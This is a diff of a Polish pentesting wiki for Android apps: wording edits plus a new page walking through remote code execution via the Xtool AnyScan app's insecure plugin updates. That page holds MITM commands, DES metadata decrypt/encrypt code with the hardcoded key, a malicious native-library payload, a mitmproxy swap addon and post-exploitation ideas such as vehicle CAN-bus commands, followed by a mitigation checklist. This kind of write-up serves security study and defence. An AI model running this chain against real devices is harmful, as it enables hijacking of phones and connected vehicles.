- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||||
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||||
|
|
||||||
#### Szukanie powszechnych podatności w sieci
|
#### Szukanie powszechnych podatności w sieci
|
||||||
|
|
||||||
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione gdzie indziej.
|
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
|
||||||
|
|
||||||
### Frida
|
### Frida
|
||||||
|
|
||||||
@ -438,7 +439,7 @@ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak
|
|||||||
|
|
||||||
### **Zrzut pamięci - Fridump**
|
### **Zrzut pamięci - Fridump**
|
||||||
|
|
||||||
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, których nie powinna przechowywać, takie jak hasła lub mnemoniki.
|
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, które nie powinny być przechowywane, takie jak hasła lub mnemoniki.
|
||||||
|
|
||||||
Używając [**Fridump3**](https://github.com/rootbsd/fridump3), możesz zrzucić pamięć aplikacji za pomocą:
|
Używając [**Fridump3**](https://github.com/rootbsd/fridump3), możesz zrzucić pamięć aplikacji za pomocą:
|
||||||
```bash
|
```bash
|
||||||
@ -455,7 +456,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||||||
```
|
```
|
||||||
### **Wrażliwe dane w Keystore**
|
### **Wrażliwe dane w Keystore**
|
||||||
|
|
||||||
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać jako użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić jako użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||||
|
|
||||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
||||||
|
|
||||||
@ -477,7 +478,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
|
|||||||
|
|
||||||
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
||||||
|
|
||||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
|
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||||
```bash
|
```bash
|
||||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||||
```
|
```
|
||||||
@ -489,7 +490,7 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
|
|||||||
|
|
||||||
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
|
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
|
||||||
|
|
||||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||||
|
|
||||||
### Kluczowe Wnioski
|
### Kluczowe Wnioski
|
||||||
|
|
||||||
@ -498,15 +499,15 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
|
|||||||
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
||||||
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
||||||
|
|
||||||
### Wstrzyknięcia po stronie klienta Android i inne
|
### Wstrzyknięcia po stronie klienta Androida i inne
|
||||||
|
|
||||||
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||||
|
|
||||||
- **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||||
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||||
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||||
- **Wieczne ciasteczka**: W wielu przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
- **Wieczne ciasteczka**: W wielu przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||||
- [**Flaga zabezpieczeń** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -544,7 +545,7 @@ Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne us
|
|||||||
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
||||||
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
||||||
|
|
||||||
Aby **rozpocząć** testy dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||||
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
|
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
@ -558,11 +559,11 @@ Ponadto masz kilka dodatkowych funkcji Frida:
|
|||||||
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
||||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
||||||
|
|
||||||
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Instrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||||
|
|
||||||
**Shell**
|
**Shell**
|
||||||
|
|
||||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **poleceniami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **komendami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||||
```bash
|
```bash
|
||||||
help
|
help
|
||||||
shell ls
|
shell ls
|
||||||
@ -620,7 +621,7 @@ reverse-apk relative/path/to/APP.apk
|
|||||||
|
|
||||||
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
|
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
|
||||||
|
|
||||||
Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
Wszystkie reguły są skoncentrowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||||
|
|
||||||
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
|
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
|
||||||
```
|
```
|
||||||
@ -634,13 +635,13 @@ StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowc
|
|||||||
|
|
||||||
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||||
|
|
||||||
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||||
```
|
```
|
||||||
./stacoan
|
./stacoan
|
||||||
```
|
```
|
||||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||||
|
|
||||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
|
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
|
||||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||||
```
|
```
|
||||||
python androbugs.py -f [APK file]
|
python androbugs.py -f [APK file]
|
||||||
@ -650,7 +651,7 @@ androbugs.exe -f [APK file]
|
|||||||
|
|
||||||
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na Androida.
|
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na Androida.
|
||||||
|
|
||||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtowego kodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtkodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||||
|
|
||||||
To narzędzie szuka **typowych zachowań "złych" aplikacji**, takich jak: eksfiltracja identyfikatorów telekomunikacyjnych, przechwytywanie strumieni audio/wideo, modyfikacja danych PIM, wykonanie dowolnego kodu...
|
To narzędzie szuka **typowych zachowań "złych" aplikacji**, takich jak: eksfiltracja identyfikatorów telekomunikacyjnych, przechwytywanie strumieni audio/wideo, modyfikacja danych PIM, wykonanie dowolnego kodu...
|
||||||
```
|
```
|
||||||
@ -660,7 +661,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
|
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||||
|
|
||||||
Może:
|
Może:
|
||||||
|
|
||||||
@ -689,13 +690,13 @@ ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowani
|
|||||||
|
|
||||||
Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||||
|
|
||||||
(Z tego przewodnika) Ostatnim razem, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
(Z tego przewodnika) Ostatni raz, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||||
|
|
||||||
- załaduj zasób jako InputStream;
|
- załaduj zasób jako InputStream;
|
||||||
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
||||||
- wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego;
|
- wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego;
|
||||||
- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX;
|
- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX;
|
||||||
- w końcu załaduj wynikowy DEX jako zasób, używając metody `loadDex`.
|
- w końcu załaduj wynikowy DEX jako zasób za pomocą metody `loadDex`.
|
||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
|
|
||||||
@ -723,7 +724,7 @@ APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **ko
|
|||||||
|
|
||||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||||
|
|
||||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, poradników i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
|||||||
@ -0,0 +1,124 @@
|
|||||||
|
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący zdolny do przechwycenia ruchu może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…).
|
||||||
|
|
||||||
|
Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-team.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 1. Identifying an Insecure TLS TrustManager
|
||||||
|
|
||||||
|
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
|
||||||
|
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
|
||||||
|
```java
|
||||||
|
public static TrustManager[] buildTrustManagers() {
|
||||||
|
return new TrustManager[]{
|
||||||
|
new X509TrustManager() {
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
```
|
||||||
|
3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **proxy MITM** z certyfikatem samopodpisanym:
|
||||||
|
```bash
|
||||||
|
mitmproxy -p 8080 -s addon.py # see §4
|
||||||
|
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||||
|
```
|
||||||
|
## 2. Inżynieria wsteczna metadanych aktualizacji
|
||||||
|
|
||||||
|
W przypadku AnyScan każde uruchomienie aplikacji wyzwala żądanie HTTPS GET do:
|
||||||
|
```
|
||||||
|
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||||
|
```
|
||||||
|
Ciało odpowiedzi to **dokument XML**, którego węzły `<FileData>` zawierają **zakodowany w Base64, zaszyfrowany DES-ECB** JSON opisujący każdy dostępny plugin.
|
||||||
|
|
||||||
|
Typowe kroki poszukiwania:
|
||||||
|
1. Zlokalizuj rutynę kryptograficzną (np. `RemoteServiceProxy`) i odzyskaj:
|
||||||
|
* algorytm (DES / AES / RC4 …)
|
||||||
|
* tryb operacji (ECB / CBC / GCM …)
|
||||||
|
* klucz / IV zakodowany na stałe (często 56-bitowe klucze DES lub 128-bitowe klucze AES w stałych)
|
||||||
|
2. Ponownie zaimplementuj funkcję w Pythonie, aby odszyfrować / zaszyfrować metadane:
|
||||||
|
```python
|
||||||
|
from Crypto.Cipher import DES
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
|
|
||||||
|
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||||||
|
|
||||||
|
def decrypt_metadata(data_b64: str) -> bytes:
|
||||||
|
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||||
|
return cipher.decrypt(b64decode(data_b64))
|
||||||
|
|
||||||
|
def encrypt_metadata(plaintext: bytes) -> str:
|
||||||
|
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||||
|
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||||
|
```
|
||||||
|
## 3. Stwórz złośliwy plugin
|
||||||
|
|
||||||
|
1. Wybierz dowolny legalny plugin ZIP i zastąp natywną bibliotekę swoim ładunkiem:
|
||||||
|
```c
|
||||||
|
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||||
|
__attribute__((constructor))
|
||||||
|
void init(void){
|
||||||
|
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||||||
|
// spawn reverse shell, drop file, etc.
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||||
|
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||||
|
```
|
||||||
|
2. Zaktualizuj metadane JSON, aby `"FileName" : "PWNED.zip"` oraz `"DownloadURL"` wskazywały na twój serwer HTTP.
|
||||||
|
3. Szyfruj DES-em + koduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML.
|
||||||
|
|
||||||
|
## 4. Dostarcz Payload za pomocą mitmproxy
|
||||||
|
|
||||||
|
`addon.py` przykład, który *cicho* zamienia oryginalne metadane:
|
||||||
|
```python
|
||||||
|
from mitmproxy import http
|
||||||
|
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||||
|
|
||||||
|
def request(flow: http.HTTPFlow):
|
||||||
|
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||||||
|
flow.response = http.Response.make(
|
||||||
|
200,
|
||||||
|
MOD_XML,
|
||||||
|
{"Content-Type": "text/xml"}
|
||||||
|
)
|
||||||
|
```
|
||||||
|
Uruchom prosty serwer WWW, aby hostować złośliwy plik ZIP:
|
||||||
|
```bash
|
||||||
|
python3 -m http.server 8000 --directory ./payloads
|
||||||
|
```
|
||||||
|
Kiedy ofiara uruchamia aplikację, ona:
|
||||||
|
* pobiera nasz sfałszowany XML przez kanał MITM;
|
||||||
|
* deszyfruje i analizuje go za pomocą wbudowanego klucza DES;
|
||||||
|
* pobiera `PWNED.zip` → rozpakowuje w prywatnej pamięci;
|
||||||
|
* `dlopen()` dołączoną *libscan_x64.so*, natychmiast wykonując nasz kod **z uprawnieniami aplikacji** (kamera, GPS, Bluetooth, system plików, …).
|
||||||
|
|
||||||
|
Ponieważ wtyczka jest buforowana na dysku, tylna furtka **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję.
|
||||||
|
|
||||||
|
## 5. Pomysły po eksploatacji
|
||||||
|
|
||||||
|
* Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
|
||||||
|
* Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą `pm install` (aplikacja już ma `REQUEST_INSTALL_PACKAGES`).
|
||||||
|
* Wykorzystaj wszelkie podłączone urządzenia – w scenariuszu AnyScan możesz wysyłać dowolne **komendy OBD-II / CAN bus** (otwieranie drzwi, wyłączanie ABS, itp.).
|
||||||
|
|
||||||
|
---
|
||||||
|
### Lista kontrolna wykrywania i łagodzenia (niebieski zespół)
|
||||||
|
|
||||||
|
* NIGDY nie wysyłaj wersji produkcyjnej z niestandardowym TrustManager/HostnameVerifier, który wyłącza walidację certyfikatów.
|
||||||
|
* Nie pobieraj kodu wykonywalnego z zewnątrz Google Play. Jeśli *musisz*, podpisz każdą wtyczkę tym samym kluczem **apkSigning v2** i zweryfikuj podpis przed załadowaniem.
|
||||||
|
* Zastąp słabą/wbudowaną kryptografię **AES-GCM** i rotującym kluczem po stronie serwera.
|
||||||
|
* Waliduj integralność pobranych archiwów (podpis lub przynajmniej SHA-256).
|
||||||
|
|
||||||
|
---
|
||||||
|
## Odniesienia
|
||||||
|
|
||||||
|
- [NowSecure – Wykryto zdalne wykonanie kodu w aplikacji Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||||
|
- [Android – Niebezpieczne wzorce TrustManager](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
Loading…
x
Reference in New Issue
Block a user